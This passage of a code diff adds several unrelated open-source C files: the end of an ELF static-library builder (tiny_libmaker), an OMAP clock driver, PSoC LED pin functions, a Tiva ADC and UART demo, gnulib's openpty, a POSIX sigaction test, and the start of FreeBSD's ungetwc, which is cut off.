+    iarg = 1;
+
+    if (argc < 2)
+    {
+        printf("usage: tiny_libmaker [lib] file...\n");
+        return 1;
+    }
+    for (i=1; i<argc; i++) {
+        istrlen = strlen(argv[i]);
+        if (argv[i][istrlen-2] == '.') {
+            if(argv[i][istrlen-1] == 'a')
+                strcpy(afile, argv[i]);
+            else if(argv[i][istrlen-1] == 'o') {
+                iarg = i;
+                break;
+            }
+        }
+    }
+
+    if ((fh = fopen(afile, "wb")) == NULL)
+    {
+        fprintf(stderr, "Can't open file %s \n", afile);
+        goto the_end;
+    }
+
+    sprintf(tfile, "%s.tmp", afile);
+    if ((fo = fopen(tfile, "wb+")) == NULL)
+    {
+        fprintf(stderr, "Can't create temporary file %s\n", tfile);
+        goto the_end;
+    }
+
+    funcmax = 250;
+    afpos = realloc(NULL, funcmax * sizeof *afpos); // 250 func
+    memcpy(&arhdro.ar_mode, "100666", 6);
+
+    //iarg = 1;
+    while (iarg < argc)
+    {
+        if (!strcmp(argv[iarg], "rcs")) {
+            iarg++;
+            continue;
+        }
+        if ((fi = fopen(argv[iarg], "rb")) == NULL)
+        {
+            fprintf(stderr, "Can't open file %s \n", argv[iarg]);
+            goto the_end;
+        }
+        fseek(fi, 0, SEEK_END);
+        fsize = ftell(fi);
+        fseek(fi, 0, SEEK_SET);
+        buf = malloc(fsize + 1);
+        fread(buf, fsize, 1, fi);
+        fclose(fi);
+
+        //printf("%s:\n", argv[iarg]);
+
+        // elf header
+        ehdr = (ElfW(Ehdr) *)buf;
+        if (ehdr->e_ident[4] != ELFCLASSW)
+        {
+            fprintf(stderr, "Unsupported Elf Class: %s\n", argv[iarg]);
+            goto the_end;
+        }
+
+        shdr = (ElfW(Shdr) *) (buf + ehdr->e_shoff + ehdr->e_shstrndx * ehdr->e_shentsize);
+        shstr = (char *)(buf + shdr->sh_offset);
+        for (i = 0; i < ehdr->e_shnum; i++)
+        {
+            shdr = (ElfW(Shdr) *) (buf + ehdr->e_shoff + i * ehdr->e_shentsize);
+            if (!shdr->sh_offset)
+                continue;
+            if (shdr->sh_type == SHT_SYMTAB)
+            {
+                symtab = (char *)(buf + shdr->sh_offset);
+                symtabsize = shdr->sh_size;
+            }
+            if (shdr->sh_type == SHT_STRTAB)
+            {
+                if (!strcmp(shstr + shdr->sh_name, ".strtab"))
+                {
+                    strtab = (char *)(buf + shdr->sh_offset);
+                    //strtabsize = shdr->sh_size;
+                }
+            }
+        }
+
+        if (symtab && symtabsize)
+        {
+            int nsym = symtabsize / sizeof(ElfW(Sym));
+            //printf("symtab: info size shndx name\n");
+            for (i = 1; i < nsym; i++)
+            {
+                sym = (ElfW(Sym) *) (symtab + i * sizeof(ElfW(Sym)));
+                if (sym->st_shndx &&
+                    (sym->st_info == 0x10
+                    || sym->st_info == 0x11
+                    || sym->st_info == 0x12
+                    )) {
+                    //printf("symtab: %2Xh %4Xh %2Xh %s\n", sym->st_info, sym->st_size, sym->st_shndx, strtab + sym->st_name);
+                    istrlen = strlen(strtab + sym->st_name)+1;
+                    anames = realloc(anames, strpos+istrlen);
+                    strcpy(anames + strpos, strtab + sym->st_name);
+                    strpos += istrlen;
+                    if (++funccnt >= funcmax) {
+                        funcmax += 250;
+                        afpos = realloc(afpos, funcmax * sizeof *afpos); // 250 func more
+                    }
+                    afpos[funccnt] = fpos;
+                }
+            }
+        }
+
+        file = argv[iarg];
+        for (name = strchr(file, 0);
+             name > file && name[-1] != '/' && name[-1] != '\\';
+             --name);
+        istrlen = strlen(name);
+        if (istrlen >= sizeof(arhdro.ar_name))
+            istrlen = sizeof(arhdro.ar_name) - 1;
+        memset(arhdro.ar_name, ' ', sizeof(arhdro.ar_name));
+        memcpy(arhdro.ar_name, name, istrlen);
+        arhdro.ar_name[istrlen] = '/';
+        sprintf(stmp, "%-10d", fsize);
+        memcpy(&arhdro.ar_size, stmp, 10);
+        fwrite(&arhdro, sizeof(arhdro), 1, fo);
+        fwrite(buf, fsize, 1, fo);
+        free(buf);
+        iarg++;
+        fpos += (fsize + sizeof(arhdro));
+    }
+    hofs = 8 + sizeof(arhdr) + strpos + (funccnt+1) * sizeof(int);
+    fpos = 0;
+    if ((hofs & 1)) // align
+        hofs++, fpos = 1;
+    // write header
+    fwrite("!<arch>\n", 8, 1, fh);
+    sprintf(stmp, "%-10d", (int)(strpos + (funccnt+1) * sizeof(int)));
+    memcpy(&arhdr.ar_size, stmp, 10);
+    fwrite(&arhdr, sizeof(arhdr), 1, fh);
+    afpos[0] = le2belong(funccnt);
+    for (i=1; i<=funccnt; i++)
+        afpos[i] = le2belong(afpos[i] + hofs);
+    fwrite(afpos, (funccnt+1) * sizeof(int), 1, fh);
+    fwrite(anames, strpos, 1, fh);
+    if (fpos)
+        fwrite("", 1, 1, fh);
+    // write objects
+    fseek(fo, 0, SEEK_END);
+    fsize = ftell(fo);
+    fseek(fo, 0, SEEK_SET);
+    buf = malloc(fsize + 1);
+    fread(buf, fsize, 1, fo);
+    fwrite(buf, fsize, 1, fh);
+    free(buf);
+    ret = 0;
+the_end:
+    if (anames)
+        free(anames);
+    if (afpos)
+        free(afpos);
+    if (fh)
+        fclose(fh);
+    if (fo)
+        fclose(fo), remove(tfile);
+    return ret;
+}
diff --git a/pool/shard001/C/0025041_clk.c b/pool/shard001/C/0025041_clk.c
new file mode 100644
index 0000000000000000000000000000000000000000..5a3c6d9b5a99a26a3076a6c33c35ce13b3817bc9
--- /dev/null
+++ b/pool/shard001/C/0025041_clk.c
@@ -0,0 +1,91 @@
+/*
+ * Texas Instruments OMAP Clock driver
+ *
+ * Copyright (C) 2013 Texas Instruments Incorporated - http://www.ti.com/
+ *	Nishanth Menon <nm@ti.com>
+ *	Tony Lindgren <tony@atomide.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed "as is" WITHOUT ANY WARRANTY of any
+ * kind, whether express or implied; without even the implied warranty
+ * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ */
+
+#include <linux/clkdev.h>
+#include <linux/clk-provider.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/of_device.h>
+#include <linux/platform_device.h>
+#include <linux/string.h>
+
+static const struct of_device_id omap_clk_of_match[] = {
+	{.compatible = "ti,omap-clock",},
+	{},
+};
+
+/**
+ * omap_clk_src_get() - Get OMAP clock from node name when needed
+ * @clkspec:	clkspec argument
+ * @data:	unused
+ *
+ * REVISIT: We assume the following:
+ * 1. omap clock names end with _ck
+ * 2. omap clock names are under 32 characters in length
+ */
+static struct clk *omap_clk_src_get(struct of_phandle_args *clkspec, void *data)
+{
+	struct clk *clk;
+	char clk_name[32];
+	struct device_node *np = clkspec->np;
+
+	snprintf(clk_name, 32, "%s_ck", np->name);
+	clk = clk_get(NULL, clk_name);
+	if (IS_ERR(clk))
+		pr_err("%s: could not get clock %s(%ld)\n", __func__,
+		       clk_name, PTR_ERR(clk));
+
+	return clk;
+}
+
+/**
+ * omap_clk_probe() - create link from DT definition to clock data
+ * @pdev:	device node
+ *
+ * NOTE: we look up the clock lazily when the consumer driver does
+ * of_clk_get() and initialize a NULL clock here.
+ */
+static int omap_clk_probe(struct platform_device *pdev)
+{
+	int res;
+	struct device_node *np = pdev->dev.of_node;
+
+	/* This allows the driver to of_clk_get() */
+	res = of_clk_add_provider(np, omap_clk_src_get, NULL);
+	if (res)
+		dev_err(&pdev->dev, "could not add provider(%d)\n", res);
+
+	return res;
+}
+
+static struct platform_driver omap_clk_driver = {
+	.probe = omap_clk_probe,
+	.driver = {
+		   .name = "omap_clk",
+		   .of_match_table = of_match_ptr(omap_clk_of_match),
+		   },
+};
+
+static int __init omap_clk_init(void)
+{
+	return platform_driver_register(&omap_clk_driver);
+}
+arch_initcall(omap_clk_init);
+
+MODULE_DESCRIPTION("OMAP Clock driver");
+MODULE_AUTHOR("Texas Instruments Inc.");
+MODULE_LICENSE("GPL v2");
diff --git a/pool/shard001/C/0025049_LedBlue.c b/pool/shard001/C/0025049_LedBlue.c
new file mode 100644
index 0000000000000000000000000000000000000000..7306cc013dbbea62b7278e3cf8bae1c7be3baa29
--- /dev/null
+++ b/pool/shard001/C/0025049_LedBlue.c
@@ -0,0 +1,146 @@
+/*******************************************************************************
+* File Name: LedBlue.c  
+* Version 2.10
+*
+* Description:
+*  This file contains API to enable firmware control of a Pins component.
+*
+* Note:
+*
+********************************************************************************
+* Copyright 2008-2014, Cypress Semiconductor Corporation.  All rights reserved.
+* You may use this file only in accordance with the license, terms, conditions, 
+* disclaimers, and limitations in the end user license agreement accompanying 
+* the software package with which this file was provided.
+*******************************************************************************/
+
+#include "cytypes.h"
+#include "LedBlue.h"
+
+/* APIs are not generated for P15[7:6] on PSoC 5 */
+#if !(CY_PSOC5A &&\
+	 LedBlue__PORT == 15 && ((LedBlue__MASK & 0xC0) != 0))
+
+
+/*******************************************************************************
+* Function Name: LedBlue_Write
+********************************************************************************
+*
+* Summary:
+*  Assign a new value to the digital port's data output register.  
+*
+* Parameters:  
+*  prtValue:  The value to be assigned to the Digital Port. 
+*
+* Return: 
+*  None
+*  
+*******************************************************************************/
+void LedBlue_Write(uint8 value) 
+{
+    uint8 staticBits = (LedBlue_DR & (uint8)(~LedBlue_MASK));
+    LedBlue_DR = staticBits | ((uint8)(value << LedBlue_SHIFT) & LedBlue_MASK);
+}
+
+
+/*******************************************************************************
+* Function Name: LedBlue_SetDriveMode
+********************************************************************************
+*
+* Summary:
+*  Change the drive mode on the pins of the port.
+* 
+* Parameters:  
+*  mode:  Change the pins to one of the following drive modes.
+*
+*  LedBlue_DM_STRONG     Strong Drive 
+*  LedBlue_DM_OD_HI      Open Drain, Drives High 
+*  LedBlue_DM_OD_LO      Open Drain, Drives Low 
+*  LedBlue_DM_RES_UP     Resistive Pull Up 
+*  LedBlue_DM_RES_DWN    Resistive Pull Down 
+*  LedBlue_DM_RES_UPDWN  Resistive Pull Up/Down 
+*  LedBlue_DM_DIG_HIZ    High Impedance Digital 
+*  LedBlue_DM_ALG_HIZ    High Impedance Analog 
+*
+* Return: 
+*  None
+*
+*******************************************************************************/
+void LedBlue_SetDriveMode(uint8 mode) 
+{
+	CyPins_SetPinDriveMode(LedBlue_0, mode);
+}
+
+
+/*******************************************************************************
+* Function Name: LedBlue_Read
+********************************************************************************
+*
+* Summary:
+*  Read the current value on the pins of the Digital Port in right justified 
+*  form.
+*
+* Parameters:  
+*  None
+*
+* Return: 
+*  Returns the current value of the Digital Port as a right justified number
+*  
+* Note:
+*  Macro LedBlue_ReadPS calls this function. 
+*  
+*******************************************************************************/
+uint8 LedBlue_Read(void) 
+{
+    return (LedBlue_PS & LedBlue_MASK) >> LedBlue_SHIFT;
+}
+
+
+/*******************************************************************************
+* Function Name: LedBlue_ReadDataReg
+********************************************************************************
+*
+* Summary:
+*  Read the current value assigned to a Digital Port's data output register
+*
+* Parameters:  
+*  None 
+*
+* Return: 
+*  Returns the current value assigned to the Digital Port's data output register
+*  
+*******************************************************************************/
+uint8 LedBlue_ReadDataReg(void) 
+{
+    return (LedBlue_DR & LedBlue_MASK) >> LedBlue_SHIFT;
+}
+
+
+/* If Interrupts Are Enabled for this Pins component */ 
+#if defined(LedBlue_INTSTAT) 
+
+    /*******************************************************************************
+    * Function Name: LedBlue_ClearInterrupt
+    ********************************************************************************
+    * Summary:
+    *  Clears any active interrupts attached to port and returns the value of the 
+    *  interrupt status register.
+    *
+    * Parameters:  
+    *  None 
+    *
+    * Return: 
+    *  Returns the value of the interrupt status register
+    *  
+    *******************************************************************************/
+    uint8 LedBlue_ClearInterrupt(void) 
+    {
+        return (LedBlue_INTSTAT & LedBlue_MASK) >> LedBlue_SHIFT;
+    }
+
+#endif /* If Interrupts Are Enabled for this Pins component */ 
+
+#endif /* CY_PSOC5A... */
+
+    
+/* [] END OF FILE */
diff --git a/pool/shard001/C/0025052_main.c b/pool/shard001/C/0025052_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..851b7ef768e5caf4bc89aac118de4719b9ee7aa0
--- /dev/null
+++ b/pool/shard001/C/0025052_main.c
@@ -0,0 +1,280 @@
+/******************************************************************
+ * Tiva Analog
+ * Developed by Counterwound Labs, Inc.
+ * http://counterwound.com
+ * *****************************************************************
+ *
+ *    _____/\\\\\\\\\\\_______/\\\\\\\\\\\____/\\\\\\\\\\\_
+ *     ___/\\\/////////\\\___/\\\/////////\\\_\/////\\\///__
+ *      __\//\\\______\///___\//\\\______\///______\/\\\_____
+ *       ___\////\\\___________\////\\\_____________\/\\\_____
+ *        ______\////\\\___________\////\\\__________\/\\\_____
+ *         _________\////\\\___________\////\\\_______\/\\\_____
+ *          __/\\\______\//\\\___/\\\______\//\\\______\/\\\_____
+ *           _\///\\\\\\\\\\\/___\///\\\\\\\\\\\/____/\\\\\\\\\\\_
+ *            ___\///////////_______\///////////_____\///////////__
+ */
+
+#include <stdint.h>
+#include <stdbool.h>
+#include "inc/hw_adc.h"
+#include "inc/hw_gpio.h"
+#include "inc/hw_ints.h"
+#include "inc/hw_memmap.h"
+#include "inc/hw_types.h"
+#include "driverlib/adc.h"
+#include "driverlib/gpio.h"
+#include "driverlib/interrupt.h"
+#include "driverlib/pin_map.h"
+#include "driverlib/sysctl.h"
+#include "driverlib/timer.h"
+#include "driverlib/uart.h"
+#include "utils/uartstdio.h"
+
+//*****************************************************************************
+// Ports Setup
+//*****************************************************************************
+
+void PortFunctionInit(void)
+{
+    //
+    // Enable Peripheral Clocks
+    //
+    SysCtlPeripheralEnable(SYSCTL_PERIPH_ADC0);
+    SysCtlPeripheralEnable(SYSCTL_PERIPH_UART0);
+    SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOA);
+    SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOB);
+    SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOD);
+    SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOE);
+    SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF);
+
+    //
+    // Enable pin PE5 for ADC AIN8
+    //
+    GPIOPinTypeADC(GPIO_PORTE_BASE, GPIO_PIN_5);
+
+    //
+    // Enable pin PD1 for ADC AIN6
+    //
+    GPIOPinTypeADC(GPIO_PORTD_BASE, GPIO_PIN_1);
+
+    //
+    // Enable pin PB4 for ADC AIN10
+    //
+    GPIOPinTypeADC(GPIO_PORTB_BASE, GPIO_PIN_4);
+
+    //
+    // Enable pin PE2 for ADC AIN1
+    //
+    GPIOPinTypeADC(GPIO_PORTE_BASE, GPIO_PIN_2);
+
+    //
+    // Enable pin PE1 for ADC AIN2
+    //
+    GPIOPinTypeADC(GPIO_PORTE_BASE, GPIO_PIN_1);
+
+    //
+    // Enable pin PD3 for ADC AIN4
+    //
+    GPIOPinTypeADC(GPIO_PORTD_BASE, GPIO_PIN_3);
+
+    //
+    // Enable pin PD0 for ADC AIN7
+    //
+    GPIOPinTypeADC(GPIO_PORTD_BASE, GPIO_PIN_0);
+
+    //
+    // Enable pin PE3 for ADC AIN0
+    //
+    GPIOPinTypeADC(GPIO_PORTE_BASE, GPIO_PIN_3);
+
+    //
+    // Enable pin PE0 for ADC AIN3
+    //
+    GPIOPinTypeADC(GPIO_PORTE_BASE, GPIO_PIN_0);
+
+    //
+    // Enable pin PD2 for ADC AIN5
+    //
+    GPIOPinTypeADC(GPIO_PORTD_BASE, GPIO_PIN_2);
+
+    //
+    // Enable pin PE4 for ADC AIN9
+    //
+    GPIOPinTypeADC(GPIO_PORTE_BASE, GPIO_PIN_4);
+
+    //
+    // Enable pin PB5 for ADC AIN11
+    //
+    GPIOPinTypeADC(GPIO_PORTB_BASE, GPIO_PIN_5);
+
+    //
+    // Enable pin PF2 for GPIOOutput
+    //
+    GPIOPinTypeGPIOOutput(GPIO_PORTF_BASE, GPIO_PIN_2);
+
+    //
+    // Enable pin PA0 for UART0 U0RX
+    //
+    GPIOPinConfigure(GPIO_PA0_U0RX);
+    GPIOPinTypeUART(GPIO_PORTA_BASE, GPIO_PIN_0);
+
+    //
+    // Enable pin PA1 for UART0 U0TX
+    //
+    GPIOPinConfigure(GPIO_PA1_U0TX);
+    GPIOPinTypeUART(GPIO_PORTA_BASE, GPIO_PIN_1);
+}
+
+//*****************************************************************************
+// Timers Setup
+//*****************************************************************************
+volatile bool g_bTimer0Flag = 0;		// Timer 0 occurred flag
+volatile bool g_bTimer1Flag = 0;		// Timer 1 occurred flag
+
+void ConfigureTimers(void)
+{
+	// Enable the peripherals used by this example.
+	SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0);
+	SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER1);
+
+	// Configure the two 32-bit periodic timers.
+	TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC);
+	TimerConfigure(TIMER1_BASE, TIMER_CFG_PERIODIC);
+	TimerLoadSet(TIMER0_BASE, TIMER_A, SysCtlClockGet() / 1);		// 1 Hz
+	TimerLoadSet(TIMER1_BASE, TIMER_A, SysCtlClockGet() / 10);		// 10 Hz
+
+	// Setup the interrupts for the timer timeouts.
+	IntEnable(INT_TIMER0A);
+	IntEnable(INT_TIMER1A);
+	TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT);
+	TimerIntEnable(TIMER1_BASE, TIMER_TIMA_TIMEOUT);
+
+	// Enable the timers.
+	TimerEnable(TIMER0_BASE, TIMER_A);
+	TimerEnable(TIMER1_BASE, TIMER_A);
+}
+
+// The interrupt handler for the first timer interrupt. 1 Hz
+void Timer0IntHandler(void)
+{
+    // Clear the timer interrupt.
+    TimerIntClear(TIMER0_BASE, TIMER_TIMA_TIMEOUT);
+
+    g_bTimer0Flag = 1;		// Set flag to indicate Timer 0 interrupt
+}
+
+// The interrupt handler for the second timer interrupt. 10 Hz
+void Timer1IntHandler(void)
+{
+    // Clear the timer interrupt.
+    TimerIntClear(TIMER1_BASE, TIMER_TIMA_TIMEOUT);
+
+    g_bTimer1Flag = 1;		// Set flag to indicate Timer 1 interrupt
+}
+
+//*****************************************************************************
+// Interrupts Setup
+//*****************************************************************************
+void ConfigureInterrupts(void)
+{
+	// Enable processor interrupts.
+	IntMasterEnable();
+}
+
+//*****************************************************************************
+// Main code starts here
+//*****************************************************************************
+int main(void)
+{
+    // Set the clocking to run directly from the crystal.
+    SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
+    		SYSCTL_XTAL_16MHZ);
+
+    // Initialize and setup the ports
+    PortFunctionInit();
+    ConfigureTimers();
+    ConfigureInterrupts();
+
+	// Use the internal 16MHz oscillator as the UART clock source.
+	UARTClockSourceSet(UART0_BASE, UART_CLOCK_PIOSC);
+
+	// Initialize the UART0 using uartstdio
+    UARTStdioConfig(0, 115200, 16000000);
+
+    uint32_t ADCValues0[1];
+    uint32_t ADCValues1[1];
+    uint32_t ADCValues2[1];
+    uint32_t TempValueC;
+
+    ADCSequenceConfigure(ADC0_BASE, 0, ADC_TRIGGER_PROCESSOR, 0);
+    ADCSequenceStepConfigure(ADC0_BASE, 0, 0, ADC_CTL_CH0 |ADC_CTL_IE | ADC_CTL_END);
+    ADCSequenceEnable(ADC0_BASE, 0);
+    ADCIntClear(ADC0_BASE, 0);
+
+    ADCSequenceConfigure(ADC0_BASE, 1, ADC_TRIGGER_PROCESSOR, 0);
+    ADCSequenceStepConfigure(ADC0_BASE, 1, 0, ADC_CTL_CH6 |ADC_CTL_IE | ADC_CTL_END);
+    ADCSequenceEnable(ADC0_BASE, 1);
+    ADCIntClear(ADC0_BASE, 1);
+
+    ADCSequenceConfigure(ADC0_BASE, 2, ADC_TRIGGER_PROCESSOR, 0);
+    ADCSequenceStepConfigure(ADC0_BASE, 2, 0, ADC_CTL_TS | ADC_CTL_IE | ADC_CTL_END);
+    ADCSequenceEnable(ADC0_BASE, 2);
+    ADCIntClear(ADC0_BASE, 2);
+
+  	while(1)
+	{
+		//*****************************************************************************
+		// Timers
+		//*****************************************************************************
+
+		// Timer 0
+		if ( g_bTimer0Flag )
+		{
+			g_bTimer0Flag = 0;		// Clear flag
+
+			if ( GPIOPinRead(GPIO_PORTF_BASE, GPIO_PIN_2) )
+			{
+				GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_2, 0); //blink LED
+			} else {
+				GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_2, GPIO_PIN_2); //blink LED
+			}
+		}
+
+		// Timer 1
+		if ( g_bTimer1Flag )
+		{
+			g_bTimer1Flag = 0;		// Clear Timer 1 flag
+
+			ADCProcessorTrigger(ADC0_BASE, 0);
+			while(!ADCIntStatus(ADC0_BASE, 0, false))
+			{
+			}
+			ADCIntClear(ADC0_BASE, 0);
+			ADCSequenceDataGet(ADC0_BASE, 0, ADCValues0);
+
+			UARTprintf("Zero = 0x%04X\r\n", (uint16_t)ADCValues0[0]);
+
+			ADCProcessorTrigger(ADC0_BASE, 1);
+			while(!ADCIntStatus(ADC0_BASE, 1, false))
+			{
+			}
+			ADCIntClear(ADC0_BASE, 1);
+			ADCSequenceDataGet(ADC0_BASE, 1, ADCValues1);
+
+			UARTprintf("One  = 0x%04X\r\n", (uint16_t)ADCValues1[0]);
+
+			ADCProcessorTrigger(ADC0_BASE, 2);
+			while(!ADCIntStatus(ADC0_BASE, 2, false))
+			{
+			}
+			ADCIntClear(ADC0_BASE, 2);
+			ADCSequenceDataGet(ADC0_BASE, 2, ADCValues2);
+
+			UARTprintf("Temp = 0x%04X\r\n", (uint16_t)ADCValues2[0]);
+
+			TempValueC = (uint16_t)(147.5 - ((75.0*3.3 *(float)ADCValues2[0])) / 4096.0);
+			UARTprintf("Temperature = %3d*C\r\n", TempValueC);
+		}
+	}
+}
diff --git a/pool/shard001/C/0025061_openpty.c b/pool/shard001/C/0025061_openpty.c
new file mode 100644
index 0000000000000000000000000000000000000000..0cfb60bfe9ee93dba037de019c27de72676235af
--- /dev/null
+++ b/pool/shard001/C/0025061_openpty.c
@@ -0,0 +1,136 @@
+/* Open a pseudo-terminal.
+   Copyright (C) 2010-2012 Free Software Foundation, Inc.
+
+   This program is free software: you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 3 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
+
+#include <config.h>
+
+/* Specification.  */
+#include <pty.h>
+
+#if HAVE_OPENPTY
+
+/* Provide a wrapper with the prototype of glibc-2.8 and newer.  */
+# undef openpty
+int
+rpl_openpty (int *amaster, int *aslave, char *name,
+             struct termios const *termp, struct winsize const *winp)
+{
+  /* Cast away const, for implementations with weaker prototypes.  */
+  return openpty (amaster, aslave, name, (struct termios *) termp,
+                  (struct winsize *) winp);
+}
+
+#elif (defined _WIN32 || defined __WIN32__) && !defined __CYGWIN__ /* mingw */
+
+# include <errno.h>
+
+int
+openpty (int *amaster _GL_UNUSED, int *aslave _GL_UNUSED,
+         char *name _GL_UNUSED,
+         struct termios const *termp _GL_UNUSED,
+         struct winsize const *winp _GL_UNUSED)
+{
+  /* Mingw lacks pseudo-terminals altogether.  */
+  errno = ENOSYS;
+  return -1;
+}
+
+#else /* AIX 5.1, HP-UX 11, IRIX 6.5, Solaris 10 */
+
+# include <fcntl.h>
+# include <stdlib.h>
+# include <string.h>
+# include <sys/ioctl.h>
+# include <termios.h>
+# include <unistd.h>
+# if defined __sun || defined __hpux /* Solaris, HP-UX */
+#  include <stropts.h>
+# endif
+
+int
+openpty (int *amaster, int *aslave, char *name,
+         struct termios const *termp, struct winsize const *winp)
+{
+  int master;
+  char *slave_name;
+  int slave;
+
+# if HAVE__GETPTY /* IRIX */
+
+  slave_name = _getpty (&master, O_RDWR, 0622, 0);
+  if (slave_name == NULL)
+    return -1;
+
+# else /* AIX 5.1, HP-UX 11, Solaris 10, mingw */
+
+  /* This call uses the 'posix_openpt' module.  */
+  master = posix_openpt (O_RDWR | O_NOCTTY);
+  if (master < 0)
+    return -1;
+
+# endif
+
+  /* This call does not require a dependency to the 'grantpt' module,
+     because AIX, HP-UX, IRIX, Solaris all have the grantpt() function.  */
+  if (grantpt (master))
+    goto fail;
+
+  /* This call does not require a dependency to the 'unlockpt' module,
+     because AIX, HP-UX, IRIX, Solaris all have the unlockpt() function.  */
+  if (unlockpt (master))
+    goto fail;
+
+# if !HAVE__GETPTY /* !IRIX */
+  slave_name = ptsname (master);
+  if (slave_name == NULL)
+    goto fail;
+# endif
+
+  slave = open (slave_name, O_RDWR | O_NOCTTY);
+  if (slave == -1)
+    goto fail;
+
+# if defined __sun || defined __hpux /* Solaris, HP-UX */
+  if (ioctl (slave, I_PUSH, "ptem") < 0
+      || ioctl (slave, I_PUSH, "ldterm") < 0
+#  if defined __sun
+      || ioctl (slave, I_PUSH, "ttcompat") < 0
+#  endif
+     )
+    {
+      close (slave);
+      goto fail;
+    }
+# endif
+
+  /* XXX Should we ignore errors here?  */
+  if (termp)
+    tcsetattr (slave, TCSAFLUSH, termp);
+  if (winp)
+    ioctl (slave, TIOCSWINSZ, winp);
+
+  *amaster = master;
+  *aslave = slave;
+  if (name != NULL)
+    strcpy (name, slave_name);
+
+  return 0;
+
+ fail:
+  close (master);
+  return -1;
+}
+
+#endif
diff --git a/pool/shard001/C/0025069_3-15.c b/pool/shard001/C/0025069_3-15.c
new file mode 100644
index 0000000000000000000000000000000000000000..6b7463d496fb9e41eab69dd4a03d79af75dd6e72
--- /dev/null
+++ b/pool/shard001/C/0025069_3-15.c
@@ -0,0 +1,65 @@
+/*
+
+ * Copyright (c) 2002-2003, Intel Corporation. All rights reserved.
+ * Created by:  rusty.lynch REMOVE-THIS AT intel DOT com
+ * This file is licensed under the GPL license.  For the full content
+ * of this license, see the COPYING file at the top level of this
+ * source tree.
+
+  Test case for assertion #3 of the sigaction system call that shows
+  calling sigaction with a null act argument does not change the
+  signal handler.
+
+  Steps:
+  1. Initialize global variable to indicate handler has not been called
+  2. Set the signal handler for SIGTTIN to handler
+  3. Call sigaction with a null act
+  4. raise SIGTTIN
+  5. Verify handler was called.
+*/
+
+#include <signal.h>
+#include <stdio.h>
+#include "posixtest.h"
+
+int handler_called = 0;
+
+void handler(int signo)
+{
+	handler_called = 1;
+}
+
+int main(void)
+{
+	struct sigaction act;
+	struct sigaction oact;
+
+	act.sa_handler = handler;
+	act.sa_flags = 0;
+	sigemptyset(&act.sa_mask);
+	if (sigaction(SIGTTIN, &act, 0) == -1) {
+		perror("Unexpected error while attempting to setup test "
+		       "pre-conditions");
+		return PTS_UNRESOLVED;
+	}
+
+	if (sigaction(SIGTTIN, 0, &oact) == -1) {
+		perror("Unexpected error while attempting to setup test "
+		       "pre-conditions");
+		return PTS_UNRESOLVED;
+	}
+
+	if (raise(SIGTTIN) == -1) {
+		perror("Unexpected error while attempting to setup test "
+		       "pre-conditions");
+		return PTS_UNRESOLVED;
+	}
+
+	if (handler_called) {
+		printf("Test PASSED\n");
+		return PTS_PASS;
+	}
+
+	printf("Test FAILED\n");
+	return PTS_FAIL;
+}
diff --git a/pool/shard001/C/0025070_ungetwc.c b/pool/shard001/C/0025070_ungetwc.c
new file mode 100644
index 0000000000000000000000000000000000000000..a51f3f84cc65cb8d0480dd053a68fdd8250c99e7
--- /dev/null
+++ b/pool/shard001/C/0025070_ungetwc.c
@@ -0,0 +1,77 @@
+/*-
+ * Copyright (c) 2002-2004 Tim J. Robbins.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#include <sys/cdefs.h>
+__FBSDID("$FreeBSD: release/8.2.0/lib/libc/stdio/ungetwc.c 178287 2008-04-17 22:17:54Z jhb $");
+
+#include "namespace.h"
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <wchar.h>
+#include "un-namespace.h"
+#include "libc_private.h"
+#include "local.h"
+#include "mblocal.h"
+
+/*
+ * Non-MT-safe version.
+ */
+wint_t
+__ungetwc(wint_t wc, FILE *fp)
+{
